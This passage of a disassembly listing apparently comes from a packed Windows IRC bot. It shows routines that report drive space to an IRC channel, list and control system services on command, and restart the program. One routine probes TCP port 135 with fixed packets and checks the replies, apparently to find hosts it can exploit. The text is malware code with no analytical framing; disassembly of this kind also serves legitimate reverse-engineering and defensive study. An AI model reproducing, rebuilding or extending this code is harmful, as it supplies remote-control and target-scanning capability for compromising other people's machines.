sub_40D099+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_40D0D6: ; CODE XREF: sub_40D099+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_40D0DC: ; CODE XREF: sub_40D099+Dj mov eax, offset aUnknown ; "Unknown" retn sub_40D099 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D0E2 proc near ; CODE XREF: sub_40D12A+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, ds:dword_43C514 test eax, eax jz short loc_40D117 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_40D117: ; CODE XREF: sub_40D0E2+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_40D0E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D12A proc near ; CODE XREF: sub_40B8D3+1F3p ; sub_40D245+17p Dest = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_40D0E2 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_40D202 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_40D202 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_40D202 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call __alldiv push edx push eax call sub_40D01A mov edi, offset aSkb ; "%sKB" push eax mov esi, 80h push edi ; Format lea eax, [ebp+Dest] push esi ; Count push eax ; Dest call __snprintf add esp, 18h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call __alldiv push edx push eax call sub_40D01A push eax push edi ; Format lea eax, [ebp+var_118] push esi ; Count push eax ; Dest call __snprintf add esp, 18h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call __alldiv push edx push eax call sub_40D01A push eax push edi ; Format lea eax, [ebp+var_98] push esi ; Count push eax ; Dest call __snprintf add esp, 18h pop ebx jmp short loc_40D231 ; --------------------------------------------------------------------------- loc_40D202: ; CODE XREF: sub_40D12A+2Cj ; sub_40D12A+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+Dest] push esi ; Format push eax ; Dest call _sprintf lea eax, [ebp+var_118] push esi ; Format push eax ; Dest call _sprintf lea eax, [ebp+var_98] push esi ; Format push eax ; Dest call _sprintf add esp, 18h loc_40D231: ; CODE XREF: sub_40D12A+D6j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+Dest] mov edi, eax rep movsd pop edi pop esi leave retn sub_40D12A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40D245(int,char *Str,int,int) sub_40D245 proc near ; CODE XREF: sub_40D317+17p ; sub_40D317+60p Dest = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h Str1 = byte ptr -80h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_40D12A push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+Str1] push offset aFailed ; "failed" rep movsd push eax ; Str1 call _strcmp add esp, 10h test eax, eax jnz short loc_40D2B8 push ebx push ebx call sub_40D099 pop ecx push eax push offset unk_42D6A4 ; Format lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 14h jmp short loc_40D2EC ; --------------------------------------------------------------------------- loc_40D2B8: ; CODE XREF: sub_40D245+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+Str1] push eax push ebx push ebx call sub_40D099 pop ecx push eax push offset unk_42D658 ; Format lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 20h loc_40D2EC: ; CODE XREF: sub_40D245+71j push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_40D670 lea eax, [ebp+Dest] push eax call sub_40BF6F add esp, 18h pop edi pop esi pop ebx leave retn sub_40D245 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40D317(int,char *Str,int,int) sub_40D317 proc near ; CODE XREF: sub_40EE51+57C8p arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_40D338 push [ebp+arg_C] ; int push [ebp+arg_8] ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_40D245 add esp, 10h jmp short loc_40D399 ; --------------------------------------------------------------------------- loc_40D338: ; CODE XREF: sub_40D317+9j push esi push edi push ebx push ebx call ds:dword_43C588 ; GetLogicalDriveStringsA lea esi, [eax+2] push esi ; Size call _malloc pop ecx mov edi, eax push edi push esi call ds:dword_43C588 ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_40D390 loc_40D35C: ; CODE XREF: sub_40D317+77j push offset aA_0 ; "A:\\" push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_40D37F push esi ; int push [ebp+arg_8] ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_40D245 add esp, 10h loc_40D37F: ; CODE XREF: sub_40D317+54j push esi ; Str call _strlen cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_40D35C loc_40D390: ; CODE XREF: sub_40D317+43j push edi ; Memory call _free pop ecx pop edi pop esi loc_40D399: ; CODE XREF: sub_40D317+1Fj pop ebx pop ebp retn sub_40D317 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D39C proc near ; DATA XREF: sub_40E68B+11o var_2B8 = dword ptr -2B8h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h Dst = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push ds:dword_44207C call ds:dword_43C6B0 ; closesocket call sub_416F11 call ds:dword_43C578 ; WSACleanup call ds:dword_43C578 ; WSACleanup mov ebx, ds:dword_423060 push 64h call ebx ; Sleep xor edi, edi push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset push 44h lea eax, [ebp+var_54] pop esi push esi ; Size push edi ; Val push eax ; Dst call _memset add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_4397BC mov [ebp+var_28], 1 mov [ebp+var_24], di call ds:dword_423064 ; GetSystemDirectoryA lea eax, [ebp+var_158] push esi push eax push edi call ds:dword_423090 ; GetModuleFileNameA lea eax, [ebp+Dst] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call ds:dword_423120 ; CreateProcessA test eax, eax jz short loc_40D461 push 64h call ebx ; Sleep push [ebp+Dst] mov esi, ds:dword_423074 call esi push [ebp+var_C] call esi loc_40D461: ; CODE XREF: sub_40D39C+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_440A20 mov eax, [esp+2B8h+var_2B8] mov large fs:0, eax add esp, 8 push edi call ds:dword_42314C pop edi pop esi pop ebx sub_40D39C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40D484(int,int,void *Buf2,size_t Size) sub_40D484 proc near ; CODE XREF: sub_40D4BC+125p ; sub_40D4BC+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch Buf2 = dword ptr 10h Size = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+Size] test edi, edi jle short loc_40D4B2 loc_40D495: ; CODE XREF: sub_40D484+2Cj push [ebp+Size] ; Size mov eax, [ebp+arg_0] add eax, esi push [ebp+Buf2] ; Buf2 push eax ; Buf1 call _memcmp add esp, 0Ch test eax, eax jz short loc_40D4B8 inc esi cmp esi, edi jl short loc_40D495 loc_40D4B2: ; CODE XREF: sub_40D484+Fj xor al, al loc_40D4B4: ; CODE XREF: sub_40D484+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_40D4B8: ; CODE XREF: sub_40D484+27j mov al, 1 jmp short loc_40D4B4 sub_40D484 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D4BC proc near ; CODE XREF: sub_402DCE+8Bp ; sub_402DCE+174p var_2010 = dword ptr -2010h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call __alloca_probe mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_40D4FD dec eax jz short loc_40D4DB dec eax loc_40D4D5: ; CODE XREF: sub_40D4BC+57j xor eax, eax loc_40D4D7: ; CODE XREF: sub_40D4BC+3Fj ; sub_40D4BC+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_40D4DB: ; CODE XREF: sub_40D4BC+16j push 3 push 1388h push [ebp+arg_0] call ds:dword_43C658 ; inet_addr push eax call sub_4076BB add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_40D4D7 ; --------------------------------------------------------------------------- loc_40D4FD: ; CODE XREF: sub_40D4BC+13j push 6 push 1 push 2 call ds:dword_43C698 ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_40D4D5 push ebx xor ebx, ebx push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push 87h call ds:dword_43C618 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call sub_40ADC5 pop ecx mov [ebp+var_C], eax lea eax, [ebp+Dst] push 10h push eax push esi call ds:dword_43C5C0 ; connect cmp eax, edi jz loc_40D619 push ebx push 48h push offset dword_42D6F4 push esi call ds:dword_43C668 ; send cmp eax, edi jz loc_40D619 mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call ds:dword_43C630 ; recv cmp eax, edi jz loc_40D619 cmp byte ptr [ebp+var_2010+2], 0Ch jnz short loc_40D619 push ebx push 18h push offset dword_42D740 push [ebp+arg_4] call ds:dword_43C668 ; send cmp eax, edi jz short loc_40D619 push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call ds:dword_43C630 ; recv mov esi, eax cmp esi, edi jz short loc_40D619 cmp byte ptr [ebp+var_2010+2], 2 jnz short loc_40D619 push 10h ; Size push offset loc_42D75C ; Buf2 lea eax, [ebp+var_2010] push esi ; int push eax ; int call sub_40D484 add esp, 10h test al, al jz short loc_40D5F9 cmp esi, 12Ch setnl bl inc ebx jmp short loc_40D619 ; --------------------------------------------------------------------------- loc_40D5F9: ; CODE XREF: sub_40D4BC+12Fj push 10h ; Size push offset dword_42D770 ; Buf2 lea eax, [ebp+var_2010] push esi ; int push eax ; int call sub_40D484 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_40D619: ; CODE XREF: sub_40D4BC+9Bj ; sub_40D4BC+B2j ... push [ebp+arg_4] call ds:dword_43C6B0 ; closesocket mov eax, ebx pop ebx jmp loc_40D4D7 sub_40D4BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40D62A(int,char *Format,char Args) sub_40D62A proc near ; CODE XREF: sub_40ECD9+3Dp ; sub_40EE51+1CBp ... Dest = byte ptr -200h arg_0 = dword ptr 8 Format = dword ptr 0Ch Args = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+Args] push eax ; Args lea eax, [ebp+Dest] push [ebp+Format] ; Format push 200h ; Count push eax ; Dest call __vsnprintf add esp, 10h lea eax, [ebp+Dest] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push [ebp+arg_0] call ds:dword_43C668 ; send leave retn sub_40D62A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40D670(int,char *Str,int,int,int) sub_40D670 proc near ; CODE XREF: sub_401000+88p ; sub_401447+76p ... var_400 = byte ptr -400h Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_40D68B mov edi, offset aPrivmsg ; "PRIVMSG" loc_40D68B: ; CODE XREF: sub_40D670+14j push edi ; Str call _strlen push [ebp+Str] ; Str mov esi, 1FAh sub esi, eax call _strlen push [ebp+arg_8] sub esi, eax lea eax, [ebp+var_400] push offset aS_1 ; "%s" push esi ; Count push eax ; Dest call __snprintf lea eax, [ebp+var_400] push eax lea eax, [ebp+Dest] push [ebp+Str] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax ; Dest call _sprintf add esp, 2Ch lea eax, [ebp+Dest] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push [ebp+arg_0] call ds:dword_43C668 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_40D709 push 7D0h call ds:dword_423060 ; Sleep locret_40D709: ; CODE XREF: sub_40D670+8Cj leave retn sub_40D670 endp ; =============== S U B R O U T I N E ======================================= sub_40D70B proc near ; CODE XREF: sub_40EE51:loc_410EC0p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_40D770 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push ds:dword_42D7A8[esi] push edi push eax call sub_40D792 add esp, 14h test eax, eax jnz short loc_40D753 push edi push ds:off_42D7A4[esi] mov esi, offset byte_4410E8 push offset dword_42D8D4 ; Format push esi ; Dest call _sprintf add esp, 10h jmp short loc_40D78D ; --------------------------------------------------------------------------- loc_40D753: ; CODE XREF: sub_40D70B+2Aj push eax call sub_40D834 push eax push edi mov esi, offset byte_4410E8 push offset dword_42D89C ; Format push esi ; Dest call _sprintf add esp, 14h jmp short loc_40D78D ; --------------------------------------------------------------------------- loc_40D770: ; CODE XREF: sub_40D70B+Cj lea eax, [eax+eax*2] mov esi, offset byte_4410E8 push ds:off_42D7A0[eax*4] push offset dword_42D868 ; Format push esi ; Dest call _sprintf add esp, 0Ch loc_40D78D: ; CODE XREF: sub_40D70B+46j ; sub_40D70B+63j mov eax, esi pop edi pop esi retn sub_40D70B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D792 proc near ; CODE XREF: sub_40D70B+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call ds:dword_43C60C ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_40D7B9 call ds:dword_423088 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_40D82E ; --------------------------------------------------------------------------- loc_40D7B9: ; CODE XREF: sub_40D792+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call ds:dword_43C500 ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_40D7D9 call ds:dword_423088 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_40D826 ; --------------------------------------------------------------------------- loc_40D7D9: ; CODE XREF: sub_40D792+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_40D80C cmp eax, 3 jz short loc_40D7FD jle short loc_40D81F cmp eax, 6 jg short loc_40D81F lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call ds:dword_43C568 ; ControlService jmp short loc_40D813 ; --------------------------------------------------------------------------- loc_40D7FD: ; CODE XREF: sub_40D792+52j push [ebp+arg_10] push [ebp+arg_C] push esi call ds:dword_43C508 ; StartServiceA jmp short loc_40D813 ; --------------------------------------------------------------------------- loc_40D80C: ; CODE XREF: sub_40D792+4Dj push esi call ds:dword_43C56C ; DeleteService loc_40D813: ; CODE XREF: sub_40D792+69j ; sub_40D792+78j test eax, eax jnz short loc_40D81F call ds:dword_423088 ; RtlGetLastWin32Error mov ebx, eax loc_40D81F: ; CODE XREF: sub_40D792+54j ; sub_40D792+59j ... push esi call ds:dword_43C51C ; CloseServiceHandle loc_40D826: ; CODE XREF: sub_40D792+45j push edi call ds:dword_43C51C ; CloseServiceHandle pop esi loc_40D82E: ; CODE XREF: sub_40D792+25j mov eax, ebx pop edi pop ebx leave retn sub_40D792 endp ; =============== S U B R O U T I N E ======================================= sub_40D834 proc near ; CODE XREF: sub_40D70B+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_40D8E9 jz loc_40D8E2 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_40D8AC jz short loc_40D8A2 mov ecx, eax sub ecx, 3 jz short loc_40D898 dec ecx dec ecx jz short loc_40D88E dec ecx jz short loc_40D884 sub ecx, 51h jz short loc_40D87A sub ecx, 24h jnz loc_40D95F ; default ; jumptable 0040D906 cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_40D951 ; --------------------------------------------------------------------------- loc_40D87A: ; CODE XREF: sub_40D834+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_40D951 ; --------------------------------------------------------------------------- loc_40D884: ; CODE XREF: sub_40D834+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_40D951 ; --------------------------------------------------------------------------- loc_40D88E: ; CODE XREF: sub_40D834+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_40D951 ; --------------------------------------------------------------------------- loc_40D898: ; CODE XREF: sub_40D834+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_40D951 ; --------------------------------------------------------------------------- loc_40D8A2: ; CODE XREF: sub_40D834+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_40D951 ; --------------------------------------------------------------------------- loc_40D8AC: ; CODE XREF: sub_40D834+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_40D8DB dec ecx jz short loc_40D8D4 dec ecx jz short loc_40D8CD dec ecx jnz loc_40D95F ; default ; jumptable 0040D906 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_40D951 ; --------------------------------------------------------------------------- loc_40D8CD: ; CODE XREF: sub_40D834+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_40D951 ; --------------------------------------------------------------------------- loc_40D8D4: ; CODE XREF: sub_40D834+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_40D951 ; --------------------------------------------------------------------------- loc_40D8DB: ; CODE XREF: sub_40D834+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_40D951 ; --------------------------------------------------------------------------- loc_40D8E2: ; CODE XREF: sub_40D834+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_40D951 ; --------------------------------------------------------------------------- loc_40D8E9: ; CODE XREF: sub_40D834+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_40D95F ; default ; jumptable 0040D906 cases 1,5,6,8,9,12,13,15,16 jz short loc_40D94C lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_40D95F ; default ; jumptable 0040D906 cases 1,5,6,8,9,12,13,15,16 movzx ecx, ds:byte_40D9A0[ecx] jmp ds:off_40D978[ecx*4] ; switch jump loc_40D90D: ; DATA XREF: UPX0:off_40D978o push offset aTheSpecifiedDa ; jumptable 0040D906 case 7 jmp short loc_40D951 ; --------------------------------------------------------------------------- loc_40D914: ; CODE XREF: sub_40D834+D2j ; DATA XREF: UPX0:off_40D978o push offset aTheServiceDepe ; jumptable 0040D906 case 17 jmp short loc_40D951 ; --------------------------------------------------------------------------- loc_40D91B: ; CODE XREF: sub_40D834+D2j ; DATA XREF: UPX0:off_40D978o push offset aTheServiceDe_0 ; jumptable 0040D906 case 10 jmp short loc_40D951 ; --------------------------------------------------------------------------- loc_40D922: ; CODE XREF: sub_40D834+D2j ; DATA XREF: UPX0:off_40D978o push offset aTheServiceHasB ; jumptable 0040D906 case 0 jmp short loc_40D951 ; --------------------------------------------------------------------------- loc_40D929: ; CODE XREF: sub_40D834+D2j ; DATA XREF: UPX0:off_40D978o push offset aTheSpecified_0 ; jumptable 0040D906 case 2 jmp short loc_40D951 ; --------------------------------------------------------------------------- loc_40D930: ; CODE XREF: sub_40D834+D2j ; DATA XREF: UPX0:off_40D978o push offset aTheServiceCoul ; jumptable 0040D906 case 11 jmp short loc_40D951 ; --------------------------------------------------------------------------- loc_40D937: ; CODE XREF: sub_40D834+D2j ; DATA XREF: UPX0:off_40D978o push offset aTheServiceHa_0 ; jumptable 0040D906 case 14 jmp short loc_40D951 ; --------------------------------------------------------------------------- loc_40D93E: ; CODE XREF: sub_40D834+D2j ; DATA XREF: UPX0:off_40D978o push offset aTheRequested_1 ; jumptable 0040D906 case 3 jmp short loc_40D951 ; --------------------------------------------------------------------------- loc_40D945: ; CODE XREF: sub_40D834+D2j ; DATA XREF: UPX0:off_40D978o push offset aTheServiceHasN ; jumptable 0040D906 case 4 jmp short loc_40D951 ; --------------------------------------------------------------------------- loc_40D94C: ; CODE XREF: sub_40D834+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_40D951: ; CODE XREF: sub_40D834+41j ; sub_40D834+4Bj ... push offset byte_440A28 ; Dest call _sprintf pop ecx pop ecx jmp short loc_40D972 ; --------------------------------------------------------------------------- loc_40D95F: ; CODE XREF: sub_40D834+36j ; sub_40D834+89j ... push eax ; default ; jumptable 0040D906 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>" push offset byte_440A28 ; Dest call _sprintf add esp, 0Ch loc_40D972: ; CODE XREF: sub_40D834+129j mov eax, offset byte_440A28 retn sub_40D834 endp ; --------------------------------------------------------------------------- off_40D978 dd offset loc_40D922 ; DATA XREF: sub_40D834+D2r dd offset loc_40D929 ; jump table for switch statement dd offset loc_40D93E dd offset loc_40D945 dd offset loc_40D90D dd offset loc_40D91B dd offset loc_40D930 dd offset loc_40D937 dd offset loc_40D914 dd offset loc_40D95F byte_40D9A0 db 0, 9, 1, 2 ; DATA XREF: sub_40D834+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40D9B2(int,char *Str,int) sub_40D9B2 proc near ; CODE XREF: sub_40EE51+209Ap var_38C = dword ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h Dest = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call ds:dword_43C60C ; OpenSCManagerA push ebx ; int mov [ebp+var_C], eax push [ebp+arg_8] ; int push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 14h loc_40D9EA: ; CODE XREF: sub_40D9B2+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call ds:dword_43C5D8 ; EnumServicesStatusA test eax, eax jnz short loc_40DA24 call ds:dword_423088 ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_40DAD8 loc_40DA24: ; CODE XREF: sub_40D9B2+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_40DACF lea esi, [ebp+var_188] loc_40DA35: ; CODE XREF: sub_40D9B2+117j mov eax, [esi+8] dec eax jz short loc_40DA7E dec eax jz short loc_40DA77 dec eax jz short loc_40DA70 dec eax jz short loc_40DA69 dec eax jz short loc_40DA62 dec eax jz short loc_40DA5B dec eax jz short loc_40DA54 push offset aUnknown_0 ; " Unknown" jmp short loc_40DA83 ; --------------------------------------------------------------------------- loc_40DA54: ; CODE XREF: sub_40D9B2+99j push offset aPaused_0 ; " Paused" jmp short loc_40DA83 ; --------------------------------------------------------------------------- loc_40DA5B: ; CODE XREF: sub_40D9B2+96j push offset aPausing ; " Pausing" jmp short loc_40DA83 ; --------------------------------------------------------------------------- loc_40DA62: ; CODE XREF: sub_40D9B2+93j push offset aContinuing ; " Continuing" jmp short loc_40DA83 ; --------------------------------------------------------------------------- loc_40DA69: ; CODE XREF: sub_40D9B2+90j push offset aRunning ; " Running" jmp short loc_40DA83 ; --------------------------------------------------------------------------- loc_40DA70: ; CODE XREF: sub_40D9B2+8Dj push offset aStoping ; " Stoping" jmp short loc_40DA83 ; --------------------------------------------------------------------------- loc_40DA77: ; CODE XREF: sub_40D9B2+8Aj push offset aStarting ; " Starting" jmp short loc_40DA83 ; --------------------------------------------------------------------------- loc_40DA7E: ; CODE XREF: sub_40D9B2+87j push offset aStopped ; " Stopped" loc_40DA83: ; CODE XREF: sub_40D9B2+A0j ; sub_40D9B2+A7j ... lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx lea eax, [ebp+Dest] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+var_38C] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_40DA35 loc_40DACF: ; CODE XREF: sub_40D9B2+77j cmp [ebp+var_8], ebx jnz loc_40D9EA loc_40DAD8: ; CODE XREF: sub_40D9B2+6Cj push [ebp+var_C] call ds:dword_43C51C ; CloseServiceHandle xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_40D9B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40DAEF(int,char *Str,int) sub_40DAEF proc near ; CODE XREF: sub_40EE51:loc_410FA2p arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+Str] test edi, edi jz loc_40DB88 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_40DB18 dec eax jnz short loc_40DB68 push edi push 0 call sub_40DCC1 pop ecx pop ecx jmp short loc_40DB64 ; --------------------------------------------------------------------------- loc_40DB18: ; CODE XREF: sub_40DAEF+18j cmp [ebp+arg_8], 0 jnz short loc_40DB56 push 24h ; Val push edi ; Str call _strchr pop ecx test eax, eax pop ecx jnz short loc_40DB56 push 57h pop eax loc_40DB2F: ; CODE XREF: sub_40DAEF+77j push eax call sub_40E499 push eax lea eax, [esi+esi*2] push edi mov esi, offset byte_440CE4 push ds:off_42D7A0[eax*4] push offset dword_42DE98 ; Format push esi ; Dest call _sprintf add esp, 18h jmp short loc_40DBA8 ; --------------------------------------------------------------------------- loc_40DB56: ; CODE XREF: sub_40DAEF+2Dj ; sub_40DAEF+3Bj push [ebp+arg_8] ; int push edi ; Str push 0 ; int call sub_40DC15 add esp, 0Ch loc_40DB64: ; CODE XREF: sub_40DAEF+27j test eax, eax jnz short loc_40DB2F loc_40DB68: ; CODE XREF: sub_40DAEF+1Bj lea eax, [esi+esi*2] push edi mov esi, offset byte_440CE4 push ds:off_42D7A4[eax*4] push offset dword_42DE6C ; Format push esi ; Dest call _sprintf add esp, 10h jmp short loc_40DBA8 ; --------------------------------------------------------------------------- loc_40DB88: ; CODE XREF: sub_40DAEF+Aj mov eax, [ebp+arg_0] mov esi, offset byte_440CE4 lea eax, [eax+eax*2] push ds:off_42D7A0[eax*4] push offset dword_42DE38 ; Format push esi ; Dest call _sprintf add esp, 0Ch loc_40DBA8: ; CODE XREF: sub_40DAEF+65j ; 